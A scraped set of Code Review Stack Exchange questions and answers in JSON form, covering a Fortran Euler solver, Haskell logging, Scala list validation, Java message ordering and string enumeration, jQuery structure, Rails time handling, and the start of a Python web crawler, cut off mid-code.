RequestParameters( nGridPoints, nTimeSteps, TimeStep, SaveTimeInterval, SoundSpeed )\n use, intrinsic :: iso_fortran_env, only : INPUT_UNIT, OUTPUT_UNIT\n integer , intent(out) :: nGridPoints, nTimeSteps\n real(kind(1d0)), intent(out) :: TimeStep, SaveTimeInterval, SoundSpeed\n character(len=*), parameter :: FMT="(a)"\n real(kind(1d0)) :: TimeEnd\n real(kind(1d0)), parameter :: MINIMUM_TIME_STEP = 1.d-10\n write(OUTPUT_UNIT,FMT,advance="no") ' Number of grid points:'\n read (INPUT_UNIT,*) nGridPoints\n write(OUTPUT_UNIT,FMT,advance="no") ' End time:'\n read (INPUT_UNIT,*) TimeEnd\n write(OUTPUT_UNIT,FMT,advance="no") ' Time-step size:'\n read (INPUT_UNIT,*) TimeStep\n write(OUTPUT_UNIT,FMT,advance="no") ' Output dt:'\n read (INPUT_UNIT,*) SaveTimeInterval\n write(OUTPUT_UNIT,FMT,advance="no") ' Speed of Sound:'\n read (INPUT_UNIT,*) SoundSpeed\n if( TimeStep < MINIMUM_TIME_STEP )then\n write(OUTPUT_UNIT,"(a,e14.6)") ' Time step too small. Reset to ',MINIMUM_TIME_STEP\n TimeStep = MINIMUM_TIME_STEP\n endif\n nTimeSteps = max(nint(TimeEnd/TimeStep),1)\n end subroutine RequestParameters\n\n subroutine SetInitialConditions( Density, n )\n use mod_constants\n real(kind(1d0)), intent(out) :: Density(:,:)\n integer , intent(in) :: n\n integer :: i\n do i = 1, nGridPoints - 1\n Density(i,1) = 1.d3 + cos( 2.d0 * PI * dble(i) / dble(nGridPoints) ) * 10d0 !rho\n Density(i,2) = 0.d0 !u(i,1)*0.1d0*sin(2*pi*real(i,8)/real(nx,8)) !rho*v\n enddo\n end subroutine SetInitialConditions\n\n subroutine RungeKuttaStepper( u, v, f, nGridPoints, SoundSpeed, DiscretizationSpeed )\n real(kind(1d0)), intent(inout) :: u(:,:), v(:), f(:,:)\n integer , intent(in) :: nGridPoints\n real(kind(1d0)), intent(in) :: SoundSpeed, DiscretizationSpeed\n integer , parameter :: N_RUNGE_KUTTA_STEPS = 4\n logical , save :: FIRST_CALL = .TRUE.\n real(kind(1d0)), allocatable, save :: utild(:,:), uold(:,:)\n integer :: i, iStep\n if( FIRST_CALL )then\n allocate(utild,source=u)\n allocate(uold ,source=u)\n FIRST_CALL = .FALSE.\n endif\n uold = u\n utild = u\n do iStep = 1, N_RUNGE_KUTTA_STEPS\n call fluxcalc(utild,v,f,nGridPoints,SoundSpeed)\n do i=1,nGridPoints-1\n utild(i,:) = - (f(i+1,:)-f(i,:)) / DiscretizationSpeed\n u(i,:) = u(i,:) + utild(i,:) / 6.d0\n utild(i,:) = uold(i,:) + utild(i,:) * 0.5d0\n enddo\n if( iStep == N_RUNGE_KUTTA_STEPS )exit\n call bcs(utild,p,v,nGridPoints,SoundSpeed)\n enddo\n call bcs(u,p,v,nGridPoints,SoundSpeed)\n end subroutine RungeKuttaStepper\n\n subroutine SaveResults( u, p, v, nGridPoints )\n implicit none\n integer , intent(in) :: nGridPoints\n real(kind(1d0)), intent(in) :: p(:), u(:,:), v(:)\n integer, save :: nCall = 0\n character(len=13) :: FileName\n integer :: uid, iostat, i\n character(len=100) :: iomsg\n write(FileName,'(i5.5,a8)') nCall,'.out.csv'\n open(newunit = uid , &\n file = FileName, &\n status ="unknown", &\n iostat = iostat , &\n iomsg = iomsg )\n if( iostat /= 0 )then\n write(ERROR_UNIT,*) trim(iomsg)\n error stop\n endif\n write(uid,*) 'xpos,p,rho,v'\n do i=-1,nGridPoints+1\n write(uid,'(4(a1,e20.10))') ' ', dble(i)/dble(nGridPoints),&\n ',', p(i),',', u(i,1),',', v(i)\n enddo\n close(uid)\n nCall = nCall + 1\n end subroutine SaveResults\n\nend program gees\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-17T03:20:41.167",
"Id": "254819",
"ParentId": "10326",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "66397",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T19:31:27.677",
"Id": "10326",
"Score": "5",
"Tags": [
"numerical-methods",
"fortran"
],
"Title": "Gees - GPL Euler equation solver"
}
|
10326
|
<p>There is <a href="https://gist.github.com/2188681" rel="nofollow">some little program</a> (using a Last.FM API wrapper) which gets the play count of 2 specific users every 5 minutes and appends the difference between these 2 numbers to log file.</p>
<p>Can you review that part of the code?
I think that using the <code><-</code> operator so many times decreases the readability and simplicity of the code. </p>
<pre><code>main = forever $ do
diff <- user1 `subtractCounts` user2
timestamp <- formatTime defaultTimeLocale dateFormat <$> getZonedTime
let logMessage = printf "%s %d\n" timestamp diff :: String
homeDir <- getHomeDirectory
let logFilePath = homeDir </> logFile
appendFile logFilePath logMessage
threadDelay $ 10^6 * 60 * timeDelay -- in microseconds
where
subtractCounts = liftM2 ((-) `on` fromMaybe 0) `on` getPlayCount
dateFormat = "[%s] %D %H:%M"
</code></pre>
|
[] |
[
{
"body": "<p>I don't see why you say <code><-</code> \"decreases readability\", but you could line them up if you think that helps (this style is typical of Haskell programmers)</p>\n\n<pre><code>main = forever $ do\n diff <- user1 `subtractCounts` user2\n timestamp <- formatTime defaultTimeLocale dateFormat <$> getZonedTime\n homeDir <- getHomeDirectory\n let logMessage = printf \"%s %d\\n\" timestamp diff\n logFilePath = homeDir </> logFile\n appendFile logFilePath logMessage\n threadDelay $ 10^6 * 60 * timeDelay -- in microseconds\n\nsubtractCounts = liftM2 ((-) `on` fromMaybe 0) `on` getPlayCount\ndateFormat = \"[%s] %D %H:%M\"\n</code></pre>\n\n<p><code><-</code> is a visual cue that the thing on the right might to perform an <em>effect</em> before producing a result and binding it to the name on the left.</p>\n\n<p>Note that the type annotation on <code>logMessage</code> is unnecessary. Because it is used as the second argument to <code>appendFile</code> it will be inferred to be <code>String</code>.</p>\n\n<p>I personally might make a few more refactorings, but they aren't really necessary:</p>\n\n<pre><code>logMessage :: String -> Integer -> String\nlogMessage = printf \"%s %d\\n\"\n\n(f .: g) x y = f $ g x y\n\nsubtractCounts = liftM2 ((-) `on` fromMaybe 0) `on` getPlayCount\n\n\nmain = forever $ do\n homeDir <- getHomeDirectory\n let logFilePath = homeDir </> logFile\n logDiff = appendFile logFilePath .: logMessage\n forever $ mainLoop logDiff\n\nmainLoop logDiff = do\n diff <- user1 `subtractCounts` user2\n timestamp <- formatTime defaultTimeLocale \"[%s] %D %H:%M\" <$> getZonedTime\n logDiff timestamp diff\n threadDelay $ 10^6 * 60 * timeDelay -- in microseconds\n</code></pre>\n\n<p>The type signature on <code>logMessage</code> is probably unnecessary, but imho it's a good idea to give it an explicit signature if you are using the result of <code>printf</code> as a function, rather than a <code>String</code> or <code>IO ()</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T18:35:14.803",
"Id": "16504",
"Score": "0",
"body": "Where is `.:` operator from?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T19:28:36.137",
"Id": "16509",
"Score": "0",
"body": "Oh, sorry, I forgot to mention: `(f .: g) x y = f (g x y)`. It's not in the standard libraries, but is a common trick for writing pointfree code."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T20:01:58.897",
"Id": "16513",
"Score": "0",
"body": "Actually you forgot about `threadDelay`."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T03:59:34.760",
"Id": "10334",
"ParentId": "10327",
"Score": "10"
}
}
] |
{
"AcceptedAnswerId": "10334",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T19:54:17.203",
"Id": "10327",
"Score": "7",
"Tags": [
"haskell",
"logging",
"client"
],
"Title": "Periodically comparing the play count of two Last.FM users"
}
|
10327
|
<p>I am learning Scala and FP (Functional Programming), coming from Java, OO and a strong imperative pardigm. I am now trying to implement a small puzzle solving project so I can get some deeper hands on experience with both Scala and FP.</p>
<p>So, I have the following Scala class:</p>
<pre><code>class Bitmap2d(rowsByColumns: List[List[Int]]) {
if (!validateRectangular) {
throw new IllegalArgumentException("all rows must have same length")
}
def validateRectangular: Boolean = {
rowsByColumns.size == rowsByColumns.filter(_.size / rowsByColumns.first.size != 1)
}
}
</code></pre>
<p>I am attempting to validate the single class constructor parameter. The requirements of a properly constructed instance of this class are:</p>
<ol>
<li>The list is not null or empty.</li>
<li>The list contains at least one list which is itself not null or empty.</li>
<li>If the outer list contains more than a single inner list, validate all the inner lists are of identical length.</li>
</ol>
<p>I was quite proud of figuring out how to implement validateRectangular in the FP style of immutability (my first try was the traditional Java imperative approach). However, upon further analysis, I am now not happy with it as it visits every row (as opposed to stopping the evaluation at the first row that fails to have the correct size).</p>
<p>So, here are my questions:</p>
<ol>
<li>In Java, the null and non-empty checks are obvious. Do I need to perform these checks in Scala (where null seems to be quite abhored)? If so, what would be considered the idiomatically correct way to do so. If not, why must I check for it in Java, but not in Scala? </li>
<li>While my validateRectangular method works fine, I would prefer a fail fast test which stopped iterating as soon as a row had a size different than the first row (the first row's size is considered the baseline to which all the remaining rows must conform). So, what would be the ideal FP way to approach re-writing validateRectangular such that it properly validates all rows are the same size, but fails fast (stops iterating) as soon as the current row is of a different size?</li>
<li>What is the correct way to reject constructing an instance of a Scala class if the parameters are not correctly defined? In Java, I use the standard style of throwing an exception in the constructor after a parameter fails to validate. That's what I have implemented above. Is that considered idiomatic Scala?</li>
</ol>
<hr>
<p><strong>UPDATE:</strong></p>
<p>Here's the same class modified per Daniel C Sobral's suggestions:</p>
<pre><code>class Bitmap2d(rowsByColumns: List[List[Int]]) {
require(validateRectangular, "all rows must have same length")
def validateRectangular: Boolean = {
rowsByColumns.forall(_.size == rowsByColumns.head.size)
}
}
</code></pre>
|
[] |
[
{
"body": "<ol>\n<li><p>In Scala, never use <code>null</code> unless some API requires it of you; use <code>Option</code> instead. If you have to interface with an API that returns <code>null</code>, convert the result into an <code>Option</code>. As long as you do that, you can ignore <code>null</code> checks, for they'll always be errors: you got a <code>null</code> from some code that shouldn't be producing it, or you forgot to convert some return value to <code>Option</code>, or else you didn't even know you had to.</p></li>\n<li><p>Use <code>exists</code> or <code>forall</code> -- <code>forall</code> seems better suited, but either will do with the proper conditionals. Also, do not use <code>first</code> -- use <code>head</code>. Yeah, it looks weird, but <code>head</code>/<code>tail</code> is idiomatic, and faster.</p></li>\n<li><p>There's a <code>require</code> function that is used for parameter validation. Either <code>require(validateRectangular)</code> or <code>require(validateRectangular, \"all rows must have same length\")</code> will do.</p></li>\n</ol>\n\n<p>And, yes, <code>validateRectangular</code> was a good start, and for new comers to FP it is not obvious to implement something that will stop at the first incorrect size in functional style -- at least on a strict language like Scala. You'd either throw an exception or use recursion.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T03:07:35.750",
"Id": "16461",
"Score": "1",
"body": "Tyvm for your response. I have updated the original question with a modified version of the class per your suggestions. Could you verify I have correctly represented the changes you outlined?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T15:31:32.350",
"Id": "16498",
"Score": "0",
"body": "@chaotic3quilibrium Yes, it does. However, I note now that the test seems to be in error. For example, `3 / 2 == 1`, but you don't want size 3 and 2 on the same list, do you? Perhaps you should write `_.size == rowsByColumns.head.size` instead?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T17:55:18.533",
"Id": "16501",
"Score": "0",
"body": "Good catch. I've corrected it. Tyvm!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T21:44:54.913",
"Id": "10331",
"ParentId": "10328",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10331",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T20:01:09.853",
"Id": "10328",
"Score": "2",
"Tags": [
"functional-programming",
"scala"
],
"Title": "Ideal FP/Scala way to vaildate rectangular list"
}
|
10328
|
<p>I have some kind of high thoughput message handler receiving ordered messages. Now the task is - adding monitoring stuff in it in order to recognize wrong input messages, more exactly: it must notify about missed messages and just ignore the stale ones (with smaller order).</p>
<p>Due to high thoughput - it mustn't block.</p>
<p>So it must:</p>
<ol>
<li>not use locks</li>
<li>find missing messages</li>
<li>find wrong ordered messages</li>
</ol>
<p>Let's have some long counter in message for ordering - here is my initial version:</p>
<pre><code>public class OrderedNonBlockingProcessor implements YetAnotherMessageHandler {
private static Logger log = Logger.getLogger(OrderedNonBlockingProcessor.class);
private final AtomicLong messageCounter = new AtomicLong(0);
@Override
public boolean onSomeHighThroughputMessage(final YetAnotherMessage message) {
final long expected = messageCounter.getAndSet(message.getCounter()) + 1;
if (expected == message.getCounter()) {
processBusinessStuff(message);
return true;
} else if (expected > message.getCounter()) {
/* wrong message, attempt to restore the sequence to prevent an error on next good message
* TODO: fix ABA problem here
*/
messageCounter.compareAndSet(message.getCounter(), expected - 1);
log.error(String.format("messaging system ordering bug: got stale message %s while expected %s!",
message.getCounter(), expected));
// some other notifying stuff...
} else if (expected < message.getCounter()) {
log.error(String.format("got forward message %s while expected %s, missed: %s",
message.getCounter(), expected, message.getCounter() - expected));
// some other notifying stuff...
}
return false;
}
private void processBusinessStuff(YetAnotherMessage message) {
log.info(String.format("process message %s", message.getCounter()));
// some business logic...
}
}
</code></pre>
<p>(<a href="http://code.google.com/p/yetanothercoder/source/browse/java-tests/trunk/src/test/java/ru/yetanothercoder/concurrency/onbp/OrderedNonBlockingProcessorTest.java" rel="nofollow">Here is a junit for that</a>)</p>
<p>How is it? Are there any races/concurrency issues I missed?</p>
<p>P.S. Next step is fixing ABA problem there. I'm thinking about AtomicStampedReference[Long] for that.</p>
|
[] |
[
{
"body": "<p>I think that there is a certain amount of fuzziness to the question but I'll make a couple of suggestions and perhaps they will help.</p>\n\n<p>First of all, I would recommend giving serious consideration to using Akka actors (http://akka.io/). Actors are a very straightforward way to handle multi-threaded processing without locks.</p>\n\n<p>Just to be clear, I think that you are saying that the program receives messages that have an order but does not necessarily receive them IN order and so it needs to restore the correct order before they can be processed.</p>\n\n<p>If this is true, then I would recommend using TWO actors. The first actor would get the messages from wherever they are coming from and dealing with putting them into the correct order. I assume that it would be ok to cache out-of-order messages until it finds the next message to be processed, perhaps on a priority heap.</p>\n\n<p>Once the first actor finds the next message to be processed, it would send it on to the second actor who would then handle the actual processing (by calling processBusinessStuff in your example).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T10:50:47.850",
"Id": "16485",
"Score": "0",
"body": "I've heard about Akka - it's cool and fancy now, but for this task - seems overkill: I need just add some monitoring to existing handler. Anyway current solution with just 2 CAS instructions is simpler and in-place (no additional memory for cache or messsage queues)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T12:48:30.463",
"Id": "16486",
"Score": "0",
"body": "Is the third paragraph of my answer a correct description of the nature of the problem?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T13:03:07.387",
"Id": "16487",
"Score": "0",
"body": "not exactly: it must notify about missed messages and just ignore the stale ones (with smaller order)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T13:07:44.620",
"Id": "16488",
"Score": "0",
"body": "You're right then. That's a much simpler problem."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T05:08:24.390",
"Id": "10336",
"ParentId": "10329",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T21:41:21.283",
"Id": "10329",
"Score": "3",
"Tags": [
"java",
"optimization"
],
"Title": "Non blocking high performance message processor"
}
|
10329
|
<p>I have two columns representing a date and a time. </p>
<pre><code>{dateproc: '2012-03-23', horproc: '2000-01-01 16:15:23 UTC'}
</code></pre>
<p>Both are read as a <code>TimeWithZone</code> by Rails. I need to combine them.</p>
<p>This is what I've done. It works, but it doesn't <em>feel</em> elegant, and it just doesn't seem readable.</p>
<pre><code>date_time_combined = dateproc + horproc.seconds_since_midnight.seconds
</code></pre>
<p>Any advice on improving it?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-12-16T12:07:29.363",
"Id": "62068",
"Score": "0",
"body": "I can't really think of a better way (but I think you can skip the last `.seconds` call). What you have is pretty straightforward, even if it feels a little \"blunt\""
}
] |
[
{
"body": "<p>Nope. That's about as clean as it'll get, though like <a href=\"https://codereview.stackexchange.com/questions/10330/date-and-time-columns-conversion-to-timewithzone#comment62068_10330\">Flambino said</a>, you can skip the last <code>.seconds</code> call. It's a bit clunky, but that's just how it works out.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-06-29T03:54:10.573",
"Id": "95054",
"ParentId": "10330",
"Score": "2"
}
},
{
"body": "<p>Longer, but a bit more intention-revealing IMHO :</p>\n\n<pre><code>date_utc, hour_utc = dateproc.utc, horproc.utc\ndate_time_combined = Time.new date_utc.year,\n date_utc.month,\n date_utc.day,\n hour_utc.hour,\n hour_utc.min,\n hour_utc.sec\n# optionnal\ncombined_with_time_zone = date_time_combined.in_time_zone\n</code></pre>\n\n<p>I think it's reasonable to sacrifice conciseness for more obvious code ; especially when dealing with time, which is often hard enough a problem in itself to avoid adding mental gymnastics to the outrage. Your code requires its reader to mentally add and substract time values to understand what's going on, the above does not.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-07-07T14:11:35.300",
"Id": "96086",
"ParentId": "10330",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T21:42:51.017",
"Id": "10330",
"Score": "3",
"Tags": [
"ruby",
"datetime",
"ruby-on-rails",
"converting"
],
"Title": "Date and time columns conversion to Time(WithZone)"
}
|
10330
|
<p>Ever since I was a kid I wanted to understand how brute force programs work. I have not been able to make sense of any of the examples throughout the internet, so it became a personal challenge to make my own. Now that I have a couple Java classes under my belt, I realized I could tackle this problem with a linked list. Any advice about best practices, better algorithms, or how to make the existing one faster are welcome.</p>
<p>The problem to solve is to produce every possible combination of characters for a given range of characters and a given string length. This is purely for the purpose of personal learning.</p>
<pre><code>public class BruteForce {
final int minASCII = 97;
final int maxASCII = 122;
final int stringLength = 4;
CharNode firstNode = new CharNode(minASCII);
public BruteForce() {
CharNode tempNode = firstNode;
//Create stringLength number of CharNodes as a doubly linked list
//The last node is used as an end of string marker
for(int i = 0; i < stringLength; i++) {
CharNode nextNode = new CharNode(minASCII - 1);
tempNode.setNextNode(nextNode);
nextNode.setPreviousNode(tempNode);
tempNode = nextNode;
//Link the last node with the first node, and the first node with
//the last node to make it a circular linked list
if (i == stringLength - 1) {
nextNode.setNextNode(firstNode);
firstNode.setPreviousNode(nextNode);
}
}
//keep printing and incrementing the nodes until the last
//marker node is incremented
while (firstNode.getPreviousNode().getData() == (minASCII - 1)) {
printData();
firstNode.incrementData();
}
}
private void printData() {
CharNode tempNode = firstNode;
while (tempNode.getData() != (minASCII -1)){
System.out.print((char)tempNode.getData());
tempNode = tempNode.getNextNode();
}
System.out.println();
}
/*
* One CharNode represents one character. Each CharNode links to
* the next CharNode and to the previous CharNode. Based on the
* circular doubly linked list data structure.
*/
private class CharNode {
private int data = 0;
private CharNode nextNode = null;
private CharNode previousNode = null;
public CharNode(int data) {
this.data = data;
}
public void setData(int data) {
this.data = data;
}
public int getData() {
return data;
}
public void setNextNode(CharNode nextNode) {
this.nextNode = nextNode;
}
public CharNode getNextNode() {
return nextNode;
}
//Automatically increment the next node and reset data to minASCII
//once maxASCII is reached
public void incrementData() {
if (data >= maxASCII) {
this.getNextNode().incrementData();
data = minASCII;
}
else
data++;
}
public CharNode getPreviousNode() {
return previousNode;
}
public void setPreviousNode(CharNode previousNode) {
this.previousNode = previousNode;
}
}
public static void main(String[] args) {
new BruteForce();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-11-29T21:40:19.660",
"Id": "30643",
"Score": "0",
"body": "I don’t really understand what this is supposed to mean. “brute force” simply means that a solution is found by trying all potential solutions out until one is found that fits. It’s a *general principle* of problem solving rather than one specific solution for one specific problem. It’s also (almost?) always the simplest possible solution."
}
] |
[
{
"body": "<p>Your data structure is alread good. I would drop the <em>circular</em> from the list, since you don't really need it, do you?</p>\n\n<p>If you care about speed more than flexibility, you can switch to using primitive data types and avoid following references, since that requires reading from RAM. Having just a simple array of ints is fast and simple.</p>\n\n<p>In the following code you have the flexibility of providing <code>min</code>, <code>max</code> and <code>len</code> at runtime. If you want to have individual values of <code>min</code> and <code>max</code> for each character, you can provide them as int arrays, too.</p>\n\n<pre><code>import java.util.Arrays;\n\npublic class BruteForce {\n\n final int min;\n final int max;\n final int stringLength;\n\n /**\n * One more element than <i>stringLength</i>,\n * to efficiently check for overflow.\n */\n private final int[] chars;\n\n public BruteForce(char min, char max, int len) {\n this.min = min;\n this.max = max;\n this.stringLength = len;\n\n chars = new int[stringLength + 1];\n Arrays.fill(chars, 1, chars.length, min);\n }\n\n public void run() {\n while (chars[0] == 0) {\n print();\n increment();\n }\n }\n\n private void increment() {\n for (int i = chars.length - 1; i >= 0; i--) {\n if (chars[i] < max) {\n chars[i]++;\n return;\n }\n chars[i] = min;\n }\n }\n\n private void print() {\n for (int i = 1; i < chars.length; i++) {\n System.out.print((char) chars[i]);\n }\n System.out.println();\n }\n\n public static void main(String[] args) {\n new BruteForce('a', 'z', 4).run();\n }\n\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T06:05:43.193",
"Id": "16528",
"Score": "0",
"body": "Nice, I like your code. Good point about the circular nature of my linked list. I can take out `nextNode.setNextNode(firstNode);` since its not being used. Setting the first node's previous node on the other hand is a quick way to check if I need to stop incrementing (not sure how else I could do it). I think you might be right about my use of objects in heap RAM possibly slowing it down. I think yours uses object too though. Since your primitive array of chars was created with the \"new\" keyword, they will also be allocated on the heap instead of the stack."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T23:02:04.960",
"Id": "16623",
"Score": "0",
"body": "In Java it is not possible to allocate non-primitive types on the stack. So I had to use the `new` operator once. My point is that the data that is modified is packed closely together, so that it doesn't take away much of the memory cache."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T01:59:25.003",
"Id": "16634",
"Score": "0",
"body": "Ah ok I forgot about that. So this might be faster in c or c++ because we can allocate an array of size stringLength on the stack. Also good point about the char array being close together. Thanks!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T02:45:42.027",
"Id": "16635",
"Score": "0",
"body": "There is no need to switch to C++ in this case. Nor is it in many other cases. The array gets allocated once and for all, only when the `BruteForce` object is created. It's definitely possible to write Java code that does very little memory allocation. And the Java compiler usually creates code that is equally fast as in C or C++, or even a little faster, since it is first profiled before compiling; and you get the extra safety. (No *undefined behavior*, which I see as a great relief.)"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T23:19:21.353",
"Id": "10356",
"ParentId": "10338",
"Score": "2"
}
},
{
"body": "<p>There is not much to understand about \"brute forcing\" something. \"Brute force\" does not mean a particular algorithm.</p>\n\n<p>\"Brute force\" simply means that instead of using a clever algorithm to simplify a problem (simplify here means reducing the running time) you just test every single possible input to see which one produces the right result.</p>\n\n<p>For example in password cracking, \"brute force\" means calculating every single possible password and testing them one by one. A smart algorithm would try passwords that are based on names and such first, because we know those are used way too often.</p>\n\n<p>So, first of all, you need to clarify the problem that you are trying to solve through brute force.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-24T18:49:35.363",
"Id": "17764",
"Score": "0",
"body": "Thanks for the clarification. I updated my question to be more clear. This was just to satisfy my personal curiosity about how other password brute force algorithms might work better than mine. I'm not interested in dictionary attacks even though it would be better suited for a cracking job."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-24T07:44:28.857",
"Id": "11135",
"ParentId": "10338",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "10356",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T09:43:37.653",
"Id": "10338",
"Score": "5",
"Tags": [
"java",
"performance",
"circular-list"
],
"Title": "Producing every string of a given length using some range of characters"
}
|
10338
|
<p>I'm trying to learn how to structure my jQuery code better. I'm only about a week into jQuery so if something looks way off please tell me. I'm attempting to use object literals and it appears to work ok, but I am wondering if there is possibly a better way to structure my code.</p>
<pre><code>var application = {
wrapper: $('#wrapper'),
addButton: $('#add'),
init: function() {
this.addButton.click(this.buttonHandlers.clickHandler);
this.wrapper.on("contextmenu", "#wrapper div", this.buttonHandlers.contextMenuHandler);
},
buttonHandlers: {
clickHandler: function(e) {
console.log("clickyHandler");
},
contextMenuHandler: function(e) {
console.log("right click");
return false;
}
}
};
application.init();
</code></pre>
|
[] |
[
{
"body": "<p>This won't scale if you entire application is one large object.</p>\n\n<p>If you seperated it into multiple objects</p>\n\n<pre><code>var application = []\n\napplication.push({\n wrapper: $(\"#wrapper\"),\n init: function () {\n this.wrapper.on(bla, this.foo)\n },\n foo: function () {\n\n }\n})\n\n...\n\napplications.forEach(function (app) { app.init() })\n</code></pre>\n\n<p>it will becomes significantly more maintainable.</p>\n\n<p>You may also want to look into techniques for spreading application infrastructure across multiple files. For example <a href=\"https://github.com/Raynos/ncore\" rel=\"nofollow\">ncore</a> uses browserify for it's module system, and uses dependency injection and an expected object format to stitch multiple \"modules\" together.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T17:18:12.363",
"Id": "16499",
"Score": "0",
"body": "Note note that Array.forEach is not going to work in IE8 or lower. Personally I recommend underscore.js for a collection-processing library"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T17:27:09.473",
"Id": "16500",
"Score": "0",
"body": "Array#forEach is part of ES5, if you want to support legacy browsers use a legacy browser support technique of choice. I recommend using the ES5 shim, as for underscore, it's kind of useless given ES5"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T18:25:54.040",
"Id": "16502",
"Score": "0",
"body": "Absolutely true (I like modernizr), but common, how many of us are in a position where we can not support IE8? I'm just saying the incompatibility should be mentioned"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T18:55:02.250",
"Id": "16505",
"Score": "2",
"body": "I disagree on wasting my time mentioning legacy support techniques on throw away example code. If the question was \"how to iterate over an array in a cross browser manner\" then sure, if the question is a high level thing, then no"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T14:56:51.613",
"Id": "10345",
"ParentId": "10340",
"Score": "3"
}
},
{
"body": "<p>I'd use an anonymous function around everything, so you don't have to type <code>this</code> all the time:</p>\n\n<pre><code>(function() {\n var $wrapper = $('#wrapper');\n var $addButton = $('#add');\n\n function init() {\n $addButton.click(clickHandler);\n $wrapper.on(\"contextmenu\", \"#wrapper div\", contextMenuHandler);\n }\n\n function clickHandler(e) {\n console.log(\"clickyHandler\");\n }\n \n function contextMenuHandler(e) {\n console.log(\"right click\");\n return false;\n }\n\n init();\n\n})();\n</code></pre>\n\n<p>This way everything is hidden inside the big anonymous function. No code from the outside can access the objects. Depending on whether or not you want such a “black box behavior”, this can be good or not.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:46:59.177",
"Id": "10350",
"ParentId": "10340",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T13:45:21.937",
"Id": "10340",
"Score": "4",
"Tags": [
"javascript",
"beginner",
"jquery"
],
"Title": "Context menu with click handlers"
}
|
10340
|
<p>I have written a web crawler. I hope anyone can help me make this code be more better.</p>
<p>This is the task to implement a web crawler in Python.</p>
<blockquote>
<pre><code># Task:
# Write a crawler code by python
# for example:
# myspider.py -u www.google.com -d 3 -t 10 -l logfile -v log_level
# -d --- the depth of crawl
# -t --- the thread's number
# -v --- the detail of the log file, the more higher, the more detail
# -l --- the log file's name
# convert the web page to utf-8, and store to the sqlite3 database
# use the logger module to record the log information
</code></pre>
</blockquote>
<p>This is the code I have written:</p>
<pre><code># -*- coding:utf-8 -*-
# myspider.py
# Tanky Woo
import urllib
import threading
from Queue import Queue
from sgmllib import SGMLParser
from optparse import OptionParser
import sqlite3
import logging
import re
import os
import stat
# Parser for command line options
def cmdParser():
usage = "usage: %prog [options] arg"
cmdLine = OptionParser(usage=usage, version="%prog 1.0")
cmdLine.add_option("-u", "--url", action="store", dest="siteUrl", type="string",
help=u"the website's url")
cmdLine.add_option("-d", "--deep", action="store", dest="depthNum", type="int",
default="3", help=u"the depth of crawler,default is 3")
cmdLine.add_option("-t", "--thread", action="store", dest="threadNum", type="int",
default="10", help=u"the number of the thread,default is 10")
